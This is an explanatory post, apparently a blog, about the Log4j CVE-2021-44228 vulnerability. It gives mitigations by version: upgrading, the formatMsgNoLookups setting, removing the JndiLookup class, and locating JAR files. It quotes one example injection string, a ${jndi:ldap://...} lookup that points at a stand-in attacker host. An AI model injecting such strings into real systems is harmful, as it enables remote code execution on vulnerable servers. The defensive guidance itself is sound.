What is the Log4J Vulnerability (CVE-2021-44228 vulnerability) which is creating a panic over java based applications? Lets quickly start with what it is and the remediation’s to fix it on various versions.
CVE-2021-44228 is a vulnerability classified under the highest severity mark, i.e. 10 out of 10. It allows an attacker to execute arbitrary code by injecting attacker-controlled data into a logged message. As far as vulnerabilities are concerned, CVE-2021-44228 is probably as bad as it gets.
It is important to understand the mechanics of the vulnerability. The exploit becomes effective when the attacker can inject a string containing a substring in the form “${jndi:ldap://some.attacker-controlled.site/}”. Opportunities for injecting such a string seem endless.
Log4j 2.x is open for this attack because it performs a lookup, aka string substitution, using the JNDI protocol, whenever the “${jndi:…}” string is found within a message parameter. As mentioned above, the contents of the message parameter can be injected by the attacker quite easily.
Is log4j 1.x vulnerable?
Given that log4j version 1.x is still very widely deployed, we have been receiving a steady stream of questions regarding the vulnerability of log4j version 1.x.
As log4j 1.x does not offer a look up mechanism, it does not suffer from CVE-2021-44228 in any shape or form. However since there is no support for the 1.x versions, it is recommended to upgrade as these vulnerability fixes cannot be provided!!!
Having said this, log4j 1.x is no longer being maintained with all the entailed security implications. Thus, we definitely urge you to migrate to one of its successors such as SLF4J/logback, sooner rather than later. But do migrate without waiting for months! Also note that tools exist to automate the migration.
For all those who are waiting for Migration / Upgrade, please go through the link which is easy!!!
If you are using Log4J v1, there is a migration guide available: https://logging.apache.org/log4j/2.x/manual/migration.html
In the latest update from the Apache Log4j team, they recommend organizations do the following
- Upgrade to Log4j 2.15.0
- For those who cannot upgrade to 2.15.0,
- in releases >=2.10, this vulnerability can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
- For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
If patching is not possible, it is highly advised organizations apply the temporary mitigation below and monitor impacted applications closely for anomalous behavior.
| log4j2.formatMsgNoLookups; |
To mitigate the vulnerability in place of updating Log4 2j, the following parameter should be set to true when starting the Java Virtual Machine:
The presence of JAR files belonging to the log4j library can indicate an application is potentially susceptible to CVE-2021-44228. The specific files to search for should match the following following pattern:
| log4j-core-*.jar; |
Depending on the installation method, the location of the matching JAR file may also give indications as to which application is potentially vulnerable. For example, on Windows, if the file is located in C:\Program Files\ApplicationName\log4j-core-version.jar it indicates ApplicationName should be investigated. On Linux, the lsof utility can show which processes currently have the JAR file in use and can be run via the following syntax:
| lsof /path/to/log4j-core-version.jar; |
Depending on your environment (spring, standalone executable, Tomcat web application,…) the way system properties are set may vary. The most simple possibility for starting a Java process from a jar file would be to add
-Dlog4j2.formatMsgNoLookups=true
to your command line:
java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jarCurrently, detection guidance in the form of regular expression signatures in the public space appear to be overly broad and bypasses have surfaced to circumvent them.